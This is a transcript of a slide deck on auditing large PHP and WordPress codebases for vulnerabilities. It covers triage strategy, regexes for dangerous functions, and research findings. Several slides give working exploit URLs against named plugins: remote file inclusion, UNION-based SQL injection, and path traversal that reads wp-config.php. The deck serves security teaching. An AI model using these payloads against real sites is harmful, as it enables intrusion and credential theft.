1 / 63

Large-scale application security

Large-scale application security. Charlie Eriksen. Agenda. Define the problem space Testing and auditing techniques Step 1 – Define target Step 2 – Understand the target Step 3 – Find critical/high-risk code paths to review Step 4 – Review and test

nolen
Download Presentation

Large-scale application security

An Image/Link below is provided (as is) to download presentation Download Policy: Content on the Website is provided to you AS IS for your information and personal use and may not be sold / licensed / shared on other websites without getting consent from its author. Content is provided to you AS IS for your information and personal use only. Download presentation by click this link. While downloading, if for some reason you are not able to download a presentation, the publisher may have deleted the file from their server. During download, if you can't get a presentation, the file might be deleted by the publisher.

E N D

Presentation Transcript

  1. Large-scale application security Charlie Eriksen

  2. Agenda • Define the problem space • Testing and auditing techniques • Step 1 – Define target • Step 2 – Understand the target • Step 3 – Find critical/high-risk code paths to review • Step 4 – Review and test • Step 5 – Asses your findings and iterate • Future challenges • Locating the absence of CSRF protection • Real-time alerting

  3. Goals • The ability to take a large amount of code and audit it for vulnerabilities • Prioritize time spent in an audit based on risk • Spend as little time as possible to find as many vulnerabilities as possible

  4. Inspiration

  5. Inspiration

  6. Inspiration

  7. Problem space • Large amounts of large code bases exist • Reviewing in depth is cost prohibitive • … and is going to take all of your life • … and you’ll still miss half the vulnerabilities • What is the cost per vulnerability found? • What vulnerabilities have the higher risk? • Risk($) =

  8. Vulnerability classes and mitigation

  9. What we’re not trying to solve • Reviewing business logic • Pin-point accuracy of vulnerabilities • (Not really) reviewing for the absence of… • We’ll look at my attempt at reviewing for the absence of CSRF protection later!

  10. Testing techniques The sweet spot

  11. White box Black box • Pros • Not restricted by your discovery phase • Gets you straight to where interesting things happen • Cons • Some code can be too hard to statically analyze • Things may hide in plain sight • Pros • Some parts can be automated • Allows you to observe behavior • Will uncover the most obvious flaws • Cons • Uncovering some bugs can be expensive • Special code-paths may never be executed

  12. Testing techniques

  13. Audit ROI • This is probably true for most companies • Large number of applications • Lots of legacy • Not enough time to audit all thoroughly • Consider: • What do you not know/Are there risks you’re not aware of? • What is your vulnerability tolerance? • What vulnerabilities have the highest impact? • What vulnerabilities are most likely to be discovered?

  14. Audit ROI $$$ High Good! Low Hard Easy Are you google? If not, wasted time/money

  15. Candidate point strategy • Fastest way to identify a lot of vulnerabilities • Starts with identifying: • Points with side effects • Known vulnerable patterns • Then back-tracing

  16. Step 1 – Define target • Find a target • In-house? • Public projects? • Plugins! • Obtain source code

  17. Wordpress example

  18. Step 2 - Understand the target • Learn the language • Internalize OWASP top 10 • Observe the framework and language • Dangerous functions • Mitigation techniques • Find commonly vulnerable code patterns

  19. PHP/Wordpress important functions • A good list exists here for PHP: http://stackoverflow.com/questions/3115559/exploitable-php-functions • Highlights: • include/require • system/exec/shell_exec • eval • Wordpress specific: • wpdb

  20. Step 3 – Find critical/high-risk code paths to review • Higher risk code paths is where you’ll want to spend more time • Determine your critical functionality and assets • Examples might be: • System calls • Database access • File system access • Web-specific things, forms, markup output • Encoding(base64) • Cryptographic usage(md5!?) • These will be our candidate points

  21. Good PHP regexes • (include|require).*\$_(POST|GET|REQUEST) • file_get_contents.*\$_(POST|GET|REQUEST) • (eval|exec|system|shell_exec).*\$_(POST|GET|REQUEST) • SELECT .* FROM .* \$_(POST|GET|REQUEST) • (echo|print).*\$_(POST|GET|REQUEST)

  22. Step 4 – Review and test • Start by casting the net wide on a project • As you learn more about it, start being more specific and reduce noise • Learn to review code at a glance • High risk vulnerabilities are usually easily seen at a glance

  23. Example 1

  24. Example 1 – Cryptographic md5\s?\(.*\$_(GET|POST|REQUEST)

  25. Example 1 – Cryptographic exploit

  26. Example 2

  27. Example 2 – File inclusion (include|require).*\$_(POST|GET|REQUEST)

  28. Example 2 – File inclusion /wordpress/wp-content/plugins/zingiri-web-shop/fws/download.php?abspath=ftp://hello:thisisdog@example.com/

  29. Example 3

  30. Example 3 – SQL Injection SELECT .* FROM .* \$_(POST|GET|REQUEST)

  31. Example 3 – SQL Injection /wordpress/wp-content/plugins/all-video-gallery/xml/playlist.php?vid=2 UNION SELECT 1, 2, user(), @@version, 5, 6, 7, 8, 9, 10, database(), 12, 13, 14, 15, 16, 17, 18

  32. Example 4

  33. file_get_contents.*\$_(POST|GET|REQUEST) Example 4 – File disclosure

  34. Example 4 – File disclosure /wordpress/wp-content/plugins/google-document-embedder/libs/pdf.php?fn=lol.pdf&file=../../../../wp-config.php

  35. Step 5 – Asses your findings and iterate • Steps to take • Assess risk • Do root cause analysis • Consider if there is likely to be more vulnerabilities of this type • Find out if there are steps that can be taken to mitigate the class of vulnerability at large • Find next steps to improve your ROI • Are you coming close to your risk tolerance? • Are there still unknowns? • Are there other higher-risk areas(ROI?) • Have you addressed the most discoverable bugs?

  36. Methodology • All vulnerabilities found using this method • All vulnerabilities submitted to Secunia SVCRP • Sweet program, check it out • Data based on their advisories • Download numbers pulled manually

  37. Research findings • 24 plugins • ~2 million downloads • 66 vulnerabilities

More Related